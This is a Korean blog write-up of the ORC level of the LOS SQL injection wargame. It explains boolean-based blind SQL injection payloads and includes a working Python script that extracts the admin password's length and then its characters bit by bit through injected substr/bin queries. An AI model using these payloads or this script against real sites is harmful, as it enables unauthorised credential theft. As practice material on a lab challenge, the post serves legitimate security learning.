[4] ORC 풀이

2022. 1. 29. 17:53Web hacking/LOS

▲ ORC 문제에 사용된 코드

이번 문제는 아예 그냥 query문으로 id가 admin으로 적혀져서 실행되는 것 같다.

그 외의 특이사항으로는 pw가 데이터베이스에 입력되어있는 것과 맞다면 문제가 풀리는 것으로

보여진다. 이것을 인지하지 않고 간단한 sql injection 구문을 넣어봤을 때 아래 사진과 같이 나왔다.

 

▲ 간단한 sql injection 구문을 실행시킨 모습

아무래도 확실하게 pw값을 입력해 주어야 하는 것 같다.

나는 먼저 참 거짓을 구분할 수 있도록 어떻게 코드를 짜야하는 지를 생각해봤다.

pw라는 변수에 먼저 아무것도 들어가 있지 않는 공백?(''만 넣은거로 인식되도록) 같은 형식에

or 구문을 이용하여 pw의 값이 참이면 Hello admin이라는 문장이 나오지 않을까 라고 생각이 들어

아래 사진처럼 구문을 작성해 보았다.

 

 

▲ or과 and 연산자로 작성된 구문을 실행시킨 모습 1

 

▲ or과 and 연산자로 작성된 구문을 실행시킨 모습 2

다행히도 생각했던 것이 잘 작동했다.

작동 원리로는 처음에 오는 or 연산자는 왼쪽과 오른쪽 식 중 하나라도 참인 값이 있다면 참이 되도록 넣어준 것이고

or 뒤에오는 구문인 id='admin' and length(pw)<숫자#는 id가 admin인 계정의 패스워드의 길이가 내가 기입한

숫자보다 작은지를 비교하는 것인데 이를 통해 이것이 참이면 전체적인 구문이 참으로 인식되어서

바로 위에 있는 사진(숫자 10을 기입했을때)처럼 Hello admin이 나오게 된다!

(#을 쓴 이유는 맨 뒤쪽에 오는 따옴표(')를 주석 시킴으로써 내가 쓴 구문이 단순 문자열로 되지

않게하기 위해 넣었다.)

 

이를 토대로 코드를 작성해 보았다.

 

import requests

bitlen = 8
passwdlen = 0
res_pw = ''

HOST=''
cookie={'PHPSESSID' : ''}

for i in range(1, 100):
    parameter = "%27+or+id=%27admin%27+and+length(pw)={}%23".format(i)
    url = HOST+parameter
    result = requests.get(url, cookies=cookie)
    if 'Hello admin' in result.text:
        passwdlen = i
        break

print('[!] Find password : %d' % passwdlen)


for i in range(1, passwdlen+1):
    bit = ''
    for j in range(1, bitlen+1):
        parameter = "%27+or+id=%27admin%27+and+substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1%23".format(i, bitlen, j)
        url=HOST+parameter
        result=requests.get(url, cookies=cookie)
        if 'Hello admin' in result.text :
            bit += '1'
        else:
            bit += '0'
    res_pw += chr(int(bit, 2))
    print('[~] Find password (digit=%d):%s' % (i, chr(int(bit, 2))))

print('[!] Find password:%s' % res_pw)

sql injection 공부를 하면서 brute force에 관해서 얼핏 들었던 2진수로 문자를 비교하면 상대적으로

시간이 덜 걸린다는 이야기를 들어서 한번 그것을 적용시켜 만들어 보았다.

 

간략하게 해석하자면 먼저 사이트 내에서 pw의 길이를 확인하기 위해 length함수를 이용하여 숫자를 계속

집어넣어가면서 비교한다. 나는 100자리까지는 안될거같아서 100까지는 해놓기는 했지만

나중에 더 큰 길이가 나온다면 while문으로 조정해서 사용하면 된다.

 

그 후에는 substr로 pw값 중 하나를 가져와 bit값을 비교한다.

예를 들자면 문자의 값이 2진수로 바꾸어 봤을때 00000011이라면 1번째 숫자(맨 오른쪽)의 값이 1인지를

비교하면서 맞다면 parameter 변수에 들어간 구문이 전체적으로 참이 되기에 result 변수 안에는

Hello admin이라는 문장이 있을것이고 이를 bit 변수에 쌓아넣는방식이다.

참고로 여기서 bitlen의 값이 8인 이유는 웬만한 사이트들이 UTF-8을 사용하기 때문에 bitlen의 값을 8로 넣었다.

 

그러고선 마지막으로 다시 문자로 변환시켜 res_pw 변수에 기입하고 모든 작업이 다 끝난다면

res_pw를 출력하게끔 만들었다. 

(참고 링크는 맨 하단에 첨부)

 

실행시킨 결과로는 아래와 같았다.

▲ 작성한 코드를 실행한 모습

결과값을 pw에 넣어보니 문제가 풀렸다!

 

▲ pw값을 넣고 성공한 모습

※ 참고

( 2진수를 이용한 sql injection : https://www.hides.kr/247 )

'Web hacking > LOS' 카테고리의 다른 글

[5] WOLFMAN 풀이  (0) 2022.01.29
[3] GOBLIN 풀이  (0) 2022.01.23
[2] COBOLT 풀이  (0) 2022.01.23
[1] GREMLIN 풀이  (0) 2022.01.22